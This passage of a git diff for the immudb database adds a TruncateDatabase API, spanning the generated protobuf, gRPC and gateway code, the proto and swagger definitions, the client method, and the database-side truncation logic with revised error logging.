immudb.schema.SQLValue + 133, // 142: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 143: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 144: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 145: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 146: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 147: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 148: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 149: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 133, // 150: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 133, // 151: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 152: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 133, // 153: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 133, // 154: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 155: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 156: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 157: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 133, // 158: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 159: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 160: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 161: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 162: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 163: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 164: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 165: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 166: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 167: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 133, // 168: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 169: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 170: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 171: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 172: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 173: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 133, // 174: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 133, // 175: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 133, // 176: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 177: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 178: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 179: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 180: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 181: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 182: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 183: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 184: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 185: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 186: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 187: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 133, // 188: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 189: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 190: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 191: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 192: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 133, // 193: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 194: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 195: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 133, // 196: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 197: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 198: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 199: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 200: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 201: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 202: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 203: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 204: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 205: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 206: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 207: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 208: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 133, // 209: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 210: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 211: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 121, // 212: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 213: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 133, // 214: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 133, // 215: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 133, // 216: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 133, // 217: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 133, // 218: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 133, // 219: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 220: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 133, // 221: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 133, // 222: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 223: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 224: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 133, // 225: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 133, // 226: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 227: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 228: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 133, // 229: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 230: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 231: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 232: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 233: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 234: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 235: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 236: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 237: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 238: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 239: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 240: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 241: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 242: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 243: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 244: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 245: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 246: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 247: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 248: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 249: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 250: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 251: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 252: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 133, // 253: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 133, // 254: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 255: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 256: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 257: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 258: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 259: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 260: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 261: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 133, // 262: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 263: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 264: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 265: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 266: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 133, // 267: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 268: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 269: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 270: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 271: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 272: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 273: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 274: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 275: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 276: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 277: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 278: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 279: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 280: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 281: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 282: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 122, // 283: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 213, // [213:284] is the sub-list for method output_type + 142, // [142:213] is the sub-list for method input_type + 142, // [142:142] is the sub-list for extension type_name + 142, // [142:142] is the sub-list for extension extendee + 0, // [0:142] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -11861,7 +11990,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustExistPrecondition); i { + switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state case 1: @@ -11873,7 +12002,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state case 1: @@ -11885,6 +12014,30 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -11921,7 +12074,7 @@ func file_schema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, - NumMessages: 127, + NumMessages: 129, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index 8cbebe5665..c52fa1246e 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -1762,6 +1762,40 @@ func local_request_ImmuService_VerifiableSQLGet_0(ctx context.Context, marshaler } +func request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq TruncateDatabaseRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.TruncateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq TruncateDatabaseRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.TruncateDatabase(ctx, &protoReq) + return msg, metadata, err + +} + // RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". // UnaryRPC :call ImmuServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -2918,6 +2952,29 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -3959,6 +4016,26 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -4062,6 +4139,8 @@ var ( pattern_ImmuService_DescribeTable_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "tables"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableSQLGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "sqlget"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_TruncateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "truncate"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -4164,4 +4243,6 @@ var ( forward_ImmuService_DescribeTable_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableSQLGet_0 = runtime.ForwardResponseMessage + + forward_ImmuService_TruncateDatabase_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 98ffbe8427..0f59515140 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1448,6 +1448,19 @@ message RetryInfo { int32 retry_delay = 1; } +message TruncateDatabaseRequest { + // Database name + string database = 1; + + // Retention Period of data + NullableMilliseconds retentionPeriod = 2; +} + +message TruncateDatabaseResponse { + // Database name + string database = 1; +} + // immudb gRPC & REST service service ImmuService { rpc ListUsers(google.protobuf.Empty) returns (UserList) { @@ -1863,4 +1876,12 @@ service ImmuService { body: "*" }; } + + rpc TruncateDatabase(TruncateDatabaseRequest) returns (TruncateDatabaseResponse) { + option (google.api.http) = { + post: "/db/truncate" + body: "*" + }; + } + } diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 877ed56bd8..c1e135403f 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -839,6 +839,38 @@ ] } }, + "/db/truncate": { + "post": { + "operationId": "ImmuService_TruncateDatabase", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemaTruncateDatabaseResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/schemaTruncateDatabaseRequest" + } + } + ], + "tags": [ + "ImmuService" + ] + } + }, "/db/tx": { "post": { "operationId": "ImmuService_TxScan", @@ -3340,6 +3372,28 @@ } } }, + "schemaTruncateDatabaseRequest": { + "type": "object", + "properties": { + "database": { + "type": "string", + "title": "Database name" + }, + "retentionPeriod": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Retention Period of data" + } + } + }, + "schemaTruncateDatabaseResponse": { + "type": "object", + "properties": { + "database": { + "type": "string", + "title": "Database name" + } + } + }, "schemaTx": { "type": "object", "properties": { diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 3631dbc519..41c7a50adb 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -110,6 +110,7 @@ type ImmuServiceClient interface { ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) + TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) } type immuServiceClient struct { @@ -997,6 +998,15 @@ func (c *immuServiceClient) VerifiableSQLGet(ctx context.Context, in *Verifiable return out, nil } +func (c *immuServiceClient) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) { + out := new(TruncateDatabaseResponse) + err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TruncateDatabase", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + // ImmuServiceServer is the server API for ImmuService service. // All implementations should embed UnimplementedImmuServiceServer // for forward compatibility @@ -1092,6 +1102,7 @@ type ImmuServiceServer interface { ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) + TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) } // UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. @@ -1308,6 +1319,9 @@ func (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*S func (UnimplementedImmuServiceServer) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableSQLGet not implemented") } +func (UnimplementedImmuServiceServer) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method TruncateDatabase not implemented") +} // UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to ImmuServiceServer will @@ -2630,6 +2644,24 @@ func _ImmuService_VerifiableSQLGet_Handler(srv interface{}, ctx context.Context, return interceptor(ctx, in, info, handler) } +func _ImmuService_TruncateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(TruncateDatabaseRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).TruncateDatabase(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schema.ImmuService/TruncateDatabase", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).TruncateDatabase(ctx, req.(*TruncateDatabaseRequest)) + } + return interceptor(ctx, in, info, handler) +} + // ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -2877,6 +2909,10 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ MethodName: "VerifiableSQLGet", Handler: _ImmuService_VerifiableSQLGet_Handler, }, + { + MethodName: "TruncateDatabase", + Handler: _ImmuService_TruncateDatabase_Handler, + }, }, Streams: []grpc.StreamDesc{ { diff --git a/pkg/client/client.go b/pkg/client/client.go index 48885b8e46..7c6ea50b70 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -505,6 +505,12 @@ type ImmuClient interface { // // Note: Currently such transaction can only be used for SQL operations. NewTx(ctx context.Context) (Tx, error) + + // TruncateDatabase truncates a database. + // This truncates the locally stored value log files used by the database. + // + // This call requires SysAdmin permission level or admin permission to the database. + TruncateDatabase(ctx context.Context, r *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) } const DefaultDB = "defaultdb" @@ -2317,3 +2323,18 @@ func decodeTxEntries(entries []*schema.TxEntry) { it.Key = it.Key[1:] } } + +// TruncateDatabase truncates the database to the given retention period. +func (c *immuClient) TruncateDatabase(ctx context.Context, r *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) { + start := time.Now() + + if !c.IsConnected() { + return nil, ErrNotConnected + } + + res, err := c.ServiceClient.TruncateDatabase(ctx, r) + + c.Logger.Debugf("TruncateDatabase finished in %s", time.Since(start)) + + return res, err +} diff --git a/pkg/database/database.go b/pkg/database/database.go index 062a4bb37e..ddde2dc363 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -136,6 +136,8 @@ type DB interface { IsClosed() bool Close() error + + Truncate(rp time.Duration) error } type uuid = string @@ -168,10 +170,11 @@ type db struct { replicaStates map[uuid]*replicaState replicaStatesMutex sync.Mutex - truncators []Truncator // specifies truncators for multiple appendable logs - quitOnce sync.Once - donec chan struct{} - stopc chan struct{} + truncators []Truncator // specifies truncators for multiple appendable logs + truncationMutex sync.Mutex + quitOnce sync.Once + donec chan struct{} + stopc chan struct{} } // OpenDB Opens an existing Database from disk @@ -1749,9 +1752,16 @@ func (d *db) runTruncator() { ts := getRetentionPeriod(time.Now(), d.options.RetentionPeriod) d.Logger.Infof("start truncating database '%s' {ts = %v}", d.name, ts) if err := d.truncate(ts); err != nil { - d.Logger.Errorf("failed to truncate database '%s' {ts = %v}", d.name, err) + if errors.Is(err, ErrRetentionPeriodNotReached) { + d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) + } else if errors.Is(err, store.ErrTxNotFound) { + d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) + } else { + d.Logger.Errorf("failed to truncate database '%s' {ts = %v}", d.name, err) + } + } else { + d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) } - d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) } } } @@ -1770,22 +1780,20 @@ func (d *db) runTruncator() { // tn-1:vx tn:vx tn+1:vx // func (d *db) truncate(ts time.Time) error { + d.truncationMutex.Lock() + defer d.truncationMutex.Unlock() + for _, c := range d.truncators { // Plan determines the transaction header before time period ts. If a // transaction is not found, or if an error occurs fetching the transaction, // then truncation does not run for the specified appendable. hdr, err := c.Plan(ts) if err != nil { - switch err { - case ErrRetentionPeriodNotReached: - d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) - case store.ErrTxNotFound: - d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) - default: + if err != ErrRetentionPeriodNotReached && err != store.ErrTxNotFound { d.Logger.Errorf("failed to plan truncation for database '%s' {err = %v}", d.name, err) } // If no transaction is found, or if an error occurs, then continue - continue + return err } // Truncate discards the appendable log upto the offset @@ -1804,3 +1812,21 @@ func (d *db) truncate(ts time.Time) error { func (d *db) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { return d.sqlEngine.CopyCatalog(ctx) } + +// Truncate discards all data from the database that is older than the retention period. +func (d *db) Truncate(retentionPeriod time.Duration) error { + ts := getRetentionPeriod(time.Now(), retentionPeriod) + d.Logger.Infof("start truncating database '%s' {ts = %v}", d.name, ts) + if err := d.truncate(ts); err != nil { + if errors.Is(err, ErrRetentionPeriodNotReached) { + d.Logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", d.name, ts.String()) + } else if errors.Is(err, store.ErrTxNotFound) { + d.Logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", d.name, err) + } else { + d.Logger.Errorf("failed truncating database '%s' {ts = %v}", d.name, err) + } + return err + } + d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) + return nil +} diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 463e1639dd..995cea83f5 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -28,7 